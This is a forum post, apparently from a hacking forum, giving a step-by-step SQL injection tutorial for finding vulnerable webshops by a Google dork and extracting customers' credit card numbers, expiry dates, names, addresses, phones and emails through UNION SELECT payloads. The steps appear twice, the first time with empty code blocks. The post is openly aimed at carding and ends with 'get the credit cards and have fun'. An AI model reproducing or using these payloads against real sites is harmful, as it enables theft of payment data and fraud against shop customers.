01-15-2016, 12:19 PM
1) we got to search google for webshops , I used this dork :
Code:
2)lets say we got this site![[Image: icon_razz.gif]](http://illiweb.com/fa/i/smiles/icon_razz.gif)
Code:
3) we got to check if its vulnerable to SQLi , we add this
Code:
to url :
>>>
Code:
if we get a error means website its vuln.
4) we have to check for column number we try with 10 first
Code:
- :
>>>
Code:
if we dont get a error means the website has more then 10 columns , if we get a error means the website has less then 10 columns
5 )this time we get a error now we try from 1 to 9
Code:
>>>
Code:
now we found it the website has 9 columns
6) most of time we can get infos from table 3 and 6 , lets say now we can from 3 xD , now we can get database user , database name and database version in this way :
*- database user
Code:
*- database name
Code:
*- database version
Code:
7) we need the table names we add this to url :
Code:
Code:
now we need columns : we add this to url :
Code:
>>>
Code:
9) now all we got to do is view the orders and customers infos (there are the credit cards xD) : if we add this to url we will get credit card numbers , payment method , credit card type ......
Code:
>>>
Code:
if we add this to url we will get many infos about costumers , address , phone number , e-mails , zip code , and the credit card infos all of them
Code:
>>>
Code:
now one step left
10 ) get the credit cards and have fun![[Image: shiny01.gif]](http://www.alboraaq.com/forum/images/smilies/shiny01.gif)
Add Rep + Thank If You Like !
Code:
Code:
inurl:customer_testimonials.php testimonial_id=2)lets say we got this site
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=73) we got to check if its vulnerable to SQLi , we add this
Code:
Code:
'to url :
>>>
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7'if we get a error means website its vuln.
4) we have to check for column number we try with 10 first
Code:
Code:
+order+by+10-- :
>>>
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+order+by+10--if we dont get a error means the website has more then 10 columns , if we get a error means the website has less then 10 columns
5 )this time we get a error now we try from 1 to 9
Code:
Code:
+union+select+1,2,3,4,5,6,7,8,9-->>>
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,3,4,5,6,7,8,9--now we found it the website has 9 columns
6) most of time we can get infos from table 3 and 6 , lets say now we can from 3 xD , now we can get database user , database name and database version in this way :
*- database user
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,user(),4,5,6,7,8,9--*- database name
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,database(),4,5,6,7,8,9--*- database version
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,version(),4,5,6,7,8,9--7) we need the table names we add this to url :
Code:
Code:
+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables--Code:
Code:
+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns-->>>
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(table_name,char(58),column_name),4,5,6,7,8,9+from+information_schema.columns--9) now all we got to do is view the orders and customers infos (there are the credit cards xD) : if we add this to url we will get credit card numbers , payment method , credit card type ......
Code:
Code:
+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9fromorders-->>>
Code:
Code:
http://www.JustExample.com/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(payment_method,char(58),cc_type,char(58),cc_number,char(58),cc_expires),4,5,6,7,8,9+from+orders--if we add this to url we will get many infos about costumers , address , phone number , e-mails , zip code , and the credit card infos all of them
Code:
Code:
+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+>>>
Code:
Code:
http://www.JustExample.com
/customer_testimonials.php?&testimonial_id=7+union+select+1,2,concat(orders_id,0x2F,cc_type,0x2F,cc_owner,0x2F,cc_number,0x2F,cc_expires,0x2F,customers_street_address,0x2F,customers_suburb,0x2F,customers_city,0x2F,customers_postcode,0x2F,customers_state,0x2F,customers_country,0x2F,customers_telephone,0x2F,customers_email_address,0x2F,date_purchased),4,5,6,7,8,9+from+orders+now one step left
10 ) get the credit cards and have fun
![[Image: shiny01.gif]](http://www.alboraaq.com/forum/images/smilies/shiny01.gif)
Add Rep + Thank If You Like !
Albania - Kosovo













